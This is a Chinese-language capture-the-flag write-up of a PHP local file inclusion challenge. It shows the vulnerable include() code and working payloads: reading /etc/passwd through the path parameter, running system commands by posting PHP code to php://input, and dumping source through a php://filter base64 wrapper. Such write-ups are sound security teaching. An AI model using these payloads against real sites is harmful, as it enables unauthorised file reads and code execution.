D-6--Include(本地文件包含)
题目指出了文件包含,于是看看源码,看来是include()函数导致文件包含。
题目链接如下,因为源码提示,如果接受到path参数,就包含path参数内容(本地文件),如果没接收到该参数,就包含phpinfo.php文件。
http://56ed22a560b04906a2655392b2d2fca7da6ac6021691428c.game.ichunqiu.com
show_source(__FILE__);
if(isset( $_REQUEST['path']) ){
include( $_REQUEST['path'] );
}else{
include('phpinfo.php');
}
于是我在URL链接后加”?path=/etc/passwd”,顺利找到密码文件。。
接下来考虑,能否直接显示flag 文件呢?但是我不知道flag文件的路径。
做一下信息搜集,phpinfo.php显示版本 5.6.29,nginx/1.10.2
allow_url_include,显示on。据说php5.2之后默认为off, 这算应用配置错误吗?
/var/log/*nginx/*access.log
/var/log/httpd-access.log
/var/www/log/httpd-access.log
,尝试找到日志文件来写入命令?但没找到正确的路径
::: {.image-package}
{.uploaded-img
width=”auto” height=”auto”}\
::: {.image-caption}
:::
:::
http://php.net/manual/zh/wrappers.php.php 关于php封装协议。
添加参数?path=php://input,并post数据”<?php
system('ls');?>“,显示
dle345aae.php
index.php
phpinfo.php
参考靶机实验。。。path=php://filter/convert.base64-encode/resource=dle345aae.php
PD9waHAgCiRmbGFnPSJmbGFnezliYTE1NTA0LWEwNjgtNDg0Ny1hNmMzLTRiYzgz
ZjBlMWYyY30iOwo=
base64解码以后获得flag
:::
:::
:::